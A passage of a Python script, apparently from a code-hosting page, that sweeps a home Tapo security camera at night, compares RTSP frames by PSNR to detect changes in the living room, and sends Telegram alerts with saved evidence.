import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
sys.path.insert(0, BASE)
|
||||
import config
|
||||
import requests
|
||||
|
||||
LOG = os.path.join(BASE, "nocturno.log")
|
||||
ACTIVO = config.__dict__.get("NOCTURNO_ACTIVO", "1")
|
||||
try:
|
||||
ACTIVO = int(os.getenv("NOCTURNO_ACTIVO", "1"))
|
||||
except Exception:
|
||||
ACTIVO = 1
|
||||
INICIO = int(os.getenv("NOCTURNO_INICIO", "1"))
|
||||
FIN = int(os.getenv("NOCTURNO_FIN", "6"))
|
||||
INTERVALO = int(os.getenv("NOCTURNO_INTERVALO", "30"))
|
||||
PSNR_MIN = float(os.getenv("NOCTURNO_PSNR_MIN", "25.0"))
|
||||
DIR = os.getenv("NOCTURNO_DIR", "salidas_nocturno")
|
||||
TAPO_USER = os.getenv("NOCTURNO_TAPO_USER", "")
|
||||
TAPO_PASS = os.getenv("NOCTURNO_TAPO_PASS", "")
|
||||
TAPO_IP = os.getenv("NOCTURNO_TAPO_IP", "192.168.50.227")
|
||||
|
||||
# RTSP del Salon (para frames) - lo tomamos de config.CAMARAS[0] (Salon)
|
||||
RTSP = None
|
||||
for cam in config.CAMARAS:
|
||||
if cam["nombre"].lower() == "salon":
|
||||
RTSP = cam["rtsp"]
|
||||
break
|
||||
if not RTSP and config.CAMARAS:
|
||||
RTSP = config.CAMARAS[0]["rtsp"]
|
||||
|
||||
SNAPSHOTS = os.path.join(DIR, "evidencias")
|
||||
|
||||
|
||||
def log(linea):
|
||||
linea = f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} {linea}"
|
||||
print(linea)
|
||||
try:
|
||||
with open(LOG, "a") as f:
|
||||
f.write(linea + "\n")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def en_rango_horario():
|
||||
h = datetime.now().hour
|
||||
if INICIO <= FIN:
|
||||
return INICIO <= h < FIN
|
||||
return h >= INICIO or h < FIN
|
||||
|
||||
|
||||
def capturar_frame(ruta, tiempo=6):
|
||||
os.makedirs(os.path.dirname(ruta), exist_ok=True)
|
||||
cmd = ["ffmpeg", "-rtsp_transport", "tcp", "-i", RTSP, "-frames:v", "1",
|
||||
"-q:v", "3", "-y", "-hide_banner", "-loglevel", "error", ruta]
|
||||
try:
|
||||
subprocess.run(cmd, timeout=tiempo, check=True)
|
||||
return os.path.getsize(ruta) > 0
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def psnr(a, b):
|
||||
"""Devuelve PSNR entre dos imagenes (mayor = mas similares)."""
|
||||
cmd = ["ffmpeg", "-hide_banner", "-i", a, "-i", b,
|
||||
"-lavfi", "psnr", "-f", "null", "-"]
|
||||
try:
|
||||
r = subprocess.run(cmd, capture_output=True, text=True, timeout=20)
|
||||
txt = r.stderr
|
||||
for part in txt.split():
|
||||
if part.startswith("average:"):
|
||||
try:
|
||||
return float(part.split(":")[1].split(" ")[0])
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def avisar_telegram(texto):
|
||||
try:
|
||||
requests.post(
|
||||
f"https://api.telegram.org/bot{config.TELEGRAM_TOKEN}/sendMessage",
|
||||
data={"chat_id": config.TELEGRAM_CHAT_ID, "text": texto,
|
||||
"parse_mode": "HTML"},
|
||||
timeout=10)
|
||||
except Exception as e:
|
||||
log(f"ERR telegram: {e}")
|
||||
|
||||
|
||||
def mover_motor(angulo):
|
||||
"""Mueve el motor de la camara un paso. Retorna True si ok."""
|
||||
try:
|
||||
from pytapo import Tapo
|
||||
except Exception as e:
|
||||
log(f"ERR pytapo import para mover: {e}")
|
||||
return False
|
||||
try:
|
||||
t = Tapo(TAPO_IP, TAPO_USER, TAPO_PASS)
|
||||
t.moveMotorStep(angulo)
|
||||
return True
|
||||
except Exception as e:
|
||||
log(f"ERR moviendo motor {angulo}: {e}")
|
||||
return False
|
||||
|
||||
|
||||
def barrido(primer_paso, ultimo_paso, paso, prefijo):
|
||||
"""Barre desde primer_paso hasta ultimo_paso. En cada posicion:
|
||||
dispara 2 frames c/1.5s y compara PSNR. Devuelve lista de instantes
|
||||
con irregularidad: (angulo, frame_a, frame_b, psnr)."""
|
||||
incidentes = []
|
||||
ang = primer_paso
|
||||
ruta = 0
|
||||
while True:
|
||||
ruta += 1
|
||||
nombre = f"{prefijo}_paso{ruta}_ang{ang}"
|
||||
mover_motor(ang)
|
||||
time.sleep(2) # esperar a que estabilice el giro
|
||||
fa = os.path.join(SNAPSHOTS, f"{nombre}_A.jpg")
|
||||
fb = os.path.join(SNAPSHOTS, f"{nombre}_B.jpg")
|
||||
ok_a = capturar_frame(fa)
|
||||
time.sleep(1.5)
|
||||
ok_b = capturar_frame(fb)
|
||||
if ok_a and ok_b:
|
||||
p = psnr(fa, fb)
|
||||
log(f"[{prefijo}] ang {ang}: PSNR={p}")
|
||||
if p is not None and p < PSNR_MIN:
|
||||
incidentes.append({"angulo": ang, "frame_a": fa,
|
||||
"frame_b": fb, "psnr": p})
|
||||
else:
|
||||
log(f"[{prefijo}] ang {ang}: fallo captura")
|
||||
if ang == ultimo_paso:
|
||||
break
|
||||
ang += paso if primer_paso < ultimo_paso else -paso
|
||||
return incidentes
|
||||
|
||||
|
||||
def ejecutar_barrido():
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
log("=" * 50)
|
||||
log(f"Barrido nocturno iniciado {ts}")
|
||||
if not RTSP:
|
||||
log("No hay RTSP del Salon configurado")
|
||||
return
|
||||
if not TAPO_USER or not TAPO_PASS:
|
||||
log("Faltan credenciales Tapo (NOCTURNO_TAPO_USER/PASS)")
|
||||
return
|
||||
# Barrido izquierda -> derecha (por defecto de angulo 20 a 270)
|
||||
inc_a = barrido(20, 270, 50, f"ida_{ts}")
|
||||
# Barrido derecha -> izquierda
|
||||
inc_b = barrido(270, 20, -50, f"vuelta_{ts}")
|
||||
todas = inc_a + inc_b
|
||||
if todas:
|
||||
log(f"*** IRREGULARIDADES detectadas: {len(todas)}")
|
||||
# guardar un resumen JSON
|
||||
resumen = {
|
||||
"timestamp": ts,
|
||||
"psnr_min": PSNR_MIN,
|
||||
"incidentes": [
|
||||
{"angulo": i["angulo"], "psnr": i["psnr"],
|
||||
"frame_a": i["frame_a"], "frame_b": i["frame_b"]}
|
||||
for i in todas
|
||||
],
|
||||
}
|
||||
os.makedirs(DIR, exist_ok=True)
|
||||
ruta_json = os.path.join(DIR, f"incidentes_{ts}.json")
|
||||
with open(ruta_json, "w") as f:
|
||||
json.dump(resumen, f, indent=2)
|
||||
log(f"Guardado resumen en {ruta_json}")
|
||||
avisar_telegram(
|
||||
f"👻 <b>Barrido nocturno</b> detectó {len(todas)} instante(s) "
|
||||
f"irregular(es) en el Salón ({ts}).\n"
|
||||
f"Evidencias guardadas. Revisión en la mañana.")
|
||||
else:
|
||||
log("Barrido completado: sin irregularidades")
|
||||
log("=" * 50)
|
||||
|
||||
|
||||
def bucle():
|
||||
log(f"Barrido nocturno activo (rango {INICIO}:00-{FIN}:00, cada {INTERVALO} min)")
|
||||
ultimo = None
|
||||
while True:
|
||||
if en_rango_horario():
|
||||
ahora = datetime.now()
|
||||
clave = f"{ahora.hour}:{ahora.minute // INTERVALO}"
|
||||
if clave != ultimo:
|
||||
ultimo = clave
|
||||
ejecutar_barrido()
|
||||
time.sleep(60)
|
||||
else:
|
||||
ultimo = None
|
||||
time.sleep(120)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if not ACTIVO:
|
||||
print("Barrido nocturno desactivado (NOCTURNO_ACTIVO=0)")
|
||||
sys.exit(0)
|
||||
bucle()
|
||||
Reference in New Issue
Block a user